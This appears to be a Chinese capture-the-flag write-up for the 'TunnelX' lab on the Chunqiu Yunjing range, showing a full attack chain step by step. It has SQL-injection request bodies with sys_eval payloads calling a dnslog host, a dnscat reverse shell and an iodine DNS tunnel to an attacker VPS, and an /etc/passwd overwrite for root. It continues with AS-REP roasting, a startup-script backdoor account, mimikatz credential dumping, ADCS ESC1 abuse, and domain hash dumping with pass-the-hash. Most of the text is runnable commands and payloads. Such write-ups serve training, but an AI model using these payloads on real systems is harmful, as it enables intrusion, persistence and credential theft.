Contents

春秋云镜 - TunnelX

外网信息搜集打SiteServer v16.5数据库

外网信息搜集:

  • 80端口有个SiteServer CMS版本为v16.5
  • 2121端口有个允许匿名登录的FTP服务,该FTP服务下有个secret.7z

下载secret.7z(这里Mac下载不下来,用Linux的ftp可以下载)

1
2
3
4
ftp 39.99.238.69 2121
anonymous
dir
get secret.7z

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238373.png

下载下来之后,secret.7z打开需要密码,先将其转换为john格式,然后再用john去爆破密码(这里完整跑完john需要48个小时,但密码的位置比较靠前,大约1分钟左右就能跑出来了)

密码为13131313,注意要用7z命令去解压,Mac解压输入密码会失败

1
2
3
7z2john secret.7z >1.txt
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt
7z x secret.7z

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238375.png

解压之后有一个secret.txt,给个一个uuid,这是SiteServer CMS的API密钥

1
7z x secret.7z

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238376.png

80端口有SiteServer v16.5服务,该版本后台存在SQL注入:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238377.png

SiteServer CMS提供了使用Header的API认证方式代替账号密码登录,因此,我们拥有了API之后,可以直接调用后台的接口进而造成SQL注入

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238378.png

精简的后台SQL注入请求包如下,后面的内容都从这个数据包展开:

1
2
3
4
5
6
7
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.238.209
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 127

{"siteId":1,"keyword":"';select sys_eval('curl `whoami`.xwqn3w.dnslog.cn')-- ","groupId":0,"page":1,"perPage":24}

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238379.png

利用DNS隧道反弹shell和代理

经过测试,这里Web服务和MySQL数据库是分开的,并且MySQL数据库的TCP是不出网的,但DNS出网(可以用curl外带部分命令结果),所以我们需要搭建DNS隧道(而不是TCP隧道)

此时我们只能执行SQL语句,如果想要执行命令,可以采用加载udf.so的方式执行命令,由于加载udf.so的数据包比较大,这里就不在文中贴出来了,脚本已经放在了Github上:

执行udf-dnscat.py后,会写入udf.so,创建sys_eval函数,并且写入dnscat工具,dnscat工具可以实现利用DNS隧道反弹shell

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238380.png

DNS反弹shell的方式如下:

首先需要有一台云服务器(下文用1.1.1.1代替)和一个域名(下文用example.com代替),然后做一下DNS解析配置:

  • 设置一个A记录,将test.example.com解析到1.1.1.1
  • 再设置一个NS记录,将ns1.example.com解析到test.example.com

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238381.png

接着确保vps的53端口UDP协议处于开放状态,然后把vps中占用53端口的DNS服务关掉:

1
systemctl stop systemd-resolved

接着在vps上启动dnscat的服务端,这里我就用docker启动,密码设置为datou,这里的ns1.example.com替换为自己的域名:

1
docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb ns1.example.com -c datou

出现下方这个页面就是启动成功了:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238382.png

然后利用后台的SQL注入去运行靶机中的dnscat客户端去与vps中的服务端相连:

1
2
3
4
5
6
7
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.227.73
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 123

{"siteId":1,"keyword":"';select sys_eval('/tmp/dnscat --secret=datou ns1.example.com')-- ","groupId":0,"page":1,"perPage":24}

不出意外的话,应该能将shell反弹到vps上:

  • windows就类比msf中的sessions
  • 然后用window -i进入到session中
  • 运行shell就会新增一个session
  • 再用window -i进入到shell的session即可执行命令
1
2
3
4
windows
window -i 1
shell
window -i 2

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238383.png

如下图所示,可以正常执行命令了

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238384.png

常规suid提权,发现cp可以利用

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238385.png

有了cp命令,我们可以写入/etc/passwd设置root用户密码,下方命令会生成一个登录密码为123456的哈希

1
2
openssl passwd -6 -salt 1 123456
# $6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0

完整的passwd文件我也放到了Github上:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238386.png

运行passwd.py,将伪造好的passwd写入到/tmp/passwd1中

然后我们再进入终端,用cp把/tmp/passwd1覆盖到/etc/passwd,这样我们就可以登录到root用户了,注意通过su登录需要可交互式shell,用python获取一下可交互式shell即可

1
2
3
4
cp /tmp/passwd1 /etc/passwd
python -c 'import pty;pty.spawn("/bin/bash")'
su root
123456

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238387.png

至此我们就拿到了root用户权限,读取/root/flag下的flag

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238388.png

但我们还没完成代理的操作,我们可以使用iodine做个DNS代理

首先上传iodine,脚本如下,项目目录里我也放了iodine二进制文件,直接替换IP运行即可

该脚本做了分段传输,运行之后,文件会写到/tmp/iodine中,传完记得验证一下md5,一般是不会有问题的,如果后面隧道一直搭建失败那就是文件传歪了,重新传即可

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238389.png

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238390.png

这里会遇到一个问题,dnscat和iodine都依赖53端口,照理来说应该要两台vps,那么我们如何在一台vps、一个域名的情况下完成代理呢?

答案是:让程序挂后台sleep一会。

iodine的工作原理是:在vps中启动一个服务端,会创建一个dns0虚拟网卡,然后我们在靶机中运行客户端,同样也会在客户端创建一个虚拟网卡dns0,然后去连接vps中53端口的服务端,这样靶机的机器就被加入到了dns0虚拟网卡上,注意靶机需要以root权限运行iodine

在靶机中以root权限运行下方命令

1
2
chmod +x /tmp/iodine
nohup sleep 10 && /tmp/iodine -f -P datou ns1.example.com &

然后快速掐掉dnscat的docker容器,再在vps上启动一个iodine服务端,等待靶机回连:

  • 下方命令会创建一个192.168.0.1网段的虚拟网卡
1
iodined -f -c -P datou 192.168.0.1 ns1.example.com -DD

执行上方命令后,如果看到有dns回连的记录,应该就是成功了,上线的靶机会分配到192.168.0.2这个IP,由于靶机有装ssh服务,我们直接在vps中用ssh连接即可:

1
2
ssh root@192.168.0.2
123456

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238391.png

然后在vps上,用ssh命令创建一个socks代理:

1
ssh -N -D 29999 root@192.168.0.2

运行上方命令后,输入密码,会在vps的localhost监听29999端口,注意是localhost,不是0.0.0.0 所以我们还需要利用frp把vps的29999端口映射到外部的39999端口,配置文件如下:

1
2
3
4
5
6
7
8
9
[common]
server_addr = 1.1.1.1
server_port = 7000

[yj]
type = tcp
local_ip = 127.0.0.1
local_port = 29999
remote_port = 39999

这样,我们就在vps的39999端口上启动了一个通向靶机内网的socks5代理:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238392.png

配置一下proxychains验证一下,能访问SiteServer CMS即可

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238393.png

内网信息搜集

代理挂好了,就该做内网信息搜集了,我们搜集172.22.61.0/24段即可

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238394.png

先用scp把fscan传输过去(因为是DNS代理,所以传输文件也挺慢的,耐心等待并验证md5即可)

1
scp fscan_amd64 root@192.168.0.2:/tmp/fscan_amd64

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238395.png

搜集到的结果如下:

  • 172.22.61.41、MySQL数据库
  • 172.22.61.17、XIAORANG\DC
  • 172.22.61.50、XIAORANG\WEB、外网SiteServer CMS
  • 172.22.61.34、XIAORANG\WIN2012

AS-REP Roasting进入域内

经过测试,DC的ldap服务可以匿名访问,所以用ldapsearch查询所有域用户

1
proxychains ldapsearch -H ldap://172.22.61.17 -b "DC=xiaorang,DC=lab" -x|grep ',CN=Users,DC=xiaorang,DC=lab'

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238396.png

域用户列表同样在Github上有存:

看看这些域用户是否开启了“不要求Kerberos预身份验证”选项

1
proxychains python3 GetNPUsers.py -dc-ip 172.22.61.17 -usersfile ../../../tmp/yunjing/TunnelX/user.txt xiaorang.lab/

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238397.png

发现yangdming开启了该选项,爆破出来密码为kier@n10

1
hashcat -m 18200 '$krb5asrep$23$yangdming@XIAORANG.LAB:324cd949cb813b90b13219cfc6bbbd6e$1b4b3d2bc2c3d754e74e425e18c759c35a27a12341d4e41bd40248d60b4c5c064dcc2ecd7e17571022465b61db5fa98c7826a4fe8e132bb895c48fbcdcd8f011c97ee741d716ca1401ba24a3fd01d72d95071d447a1def6d8cebb9e57108fa3ac2f235b86b281a198e84518fa06b0c3c8d0a8c51a025693ee5e8a23f7757499daf2a336bf26acb952bf814f891c435799221124c94d68a78c44e632eb1a8a6ab599e456cc037f89dee504cf56dcc1d8bef6f619cc7a3172be4d13430873588028dd547e3026ef229e4b545c825f14583baa7c2f0b94e6304a01021bb6fd5173cb2213060727b3e97c533277e' /usr/share/wordlists/rockyou.txt --force

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238398.png

没法直接PTH去连,可以用evil-winrm连接

1
proxychains evil-winrm -i 172.22.61.34 -u yangdming -p kier@n10

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238399.png

根据题目提示,需要提权,不过我们还是先做一波域内信息搜集:

可以用bloodhound-python收集:

1
proxychains bloodhound-python -d xiaorang.lab -u yangdming -p kier@n10 -gc dc.xiaorang.lab -c all

用bloodhound-python收集前,记得配置一下hosts:

1
2
172.22.61.17 xiaorang.lab
172.22.61.17 dc.xiaorang.lab

也可以把SharpHound.exe通过evil-winrm传到服务器上:

1
upload /tmp/SharpHound.exe .

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238400.png

接着指定一下域用户账号密码去做域内信息搜集

1
C:\Users\TEMP.XIAORANG\Documents\SharpHound.exe --ldapusername yangdming --ldappassword kier@n10 -c all

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238401.png

搜集到的结果如下,可以用download下载下来:

1
download 20231030142200_BloodHound.zip /tmp/20231030142200_BloodHound.zip

重启运行启动项后门获取system权限

根据题目的提示,我们需要提权到system,用BloodHound分析

发现yangdming这个用户在SHUWDOWN_GROUP组里

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238402.png

该组内的用户允许对机器重启

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238403.png

所以可以利用启动项提权,编写以下内容到add.bat:

  • 首先把yangdming添加到本地管理员组内,方便后面信息搜集
  • 然后把LocalAccountTokenFilterPolicy设置为1,否则后面用户在PTH的时候会爆[-] rpc_s_access_denied错误
  • 接着添加benbi后门用户
1
2
3
4
5
@echo off
net localgroup administrators yangdming /add
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
net user benbi pass@123 /add
net localgroup administrators benbi /add

将add.bat上传到启动目录中,然后重启

1
2
upload /tmp/add.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\add.bat"
shutdown -r -t 0

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238404.png

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238405.png

重启后发现benbi用户生成了

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238406.png

这里就不用rdp去连了,因为是DNS隧道非常卡,直接用wmiexec.py连接拿下flag

1
proxychains python3 wmiexec.py benbi:pass@123@172.22.61.34

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238407.png

再上传mimikatz相关工具

1
2
3
4
upload /tmp/m/mimidrv.sys .
upload /tmp/m/mimilib.dll .
upload /tmp/m/mimispool.dll .
upload /tmp/m/mimikatz.exe .

用mimikatz成功抓到机器用户的哈希

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238408.png

ADCS ESC1拿下域控

发现域内存在ADCS,用certipy探测一下,记得用机器用户的哈希,探测后发现存在ADCS ESC1

1
2
proxychains certipy find -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:41a258d72365350640270508748c9675 -dc-ip 172.22.61.17 -vulnerable
cat 20231030050124_Certipy.txt

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238409.png

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238410.png

发现win2012可利用模板,为域管请求证书,转换格式,请求TGT

1
proxychains certipy req -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:41a258d72365350640270508748c9675 -target 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238411.png

1
proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.61.17

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238412.png

导出域内哈希

1
proxychains python3 secretsdump.py xiaorang.lab/administrator@172.22.61.17 -just-dc -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238413.png

拿到域管哈希之后即可拿下域控

1
2
proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.17 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
type C:\Users\Administrator\flag\flag04.txt

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238414.png

PTH外网机器完结散花

再回头用域管的哈希把外网SiteServer CMS给PTH了,完结撒花。

1
2
proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.50 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
type C:\Users\Administrator\flag\flag01.txt

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202310302238415.png

题出的超级好,除了砂砾贵没有缺点。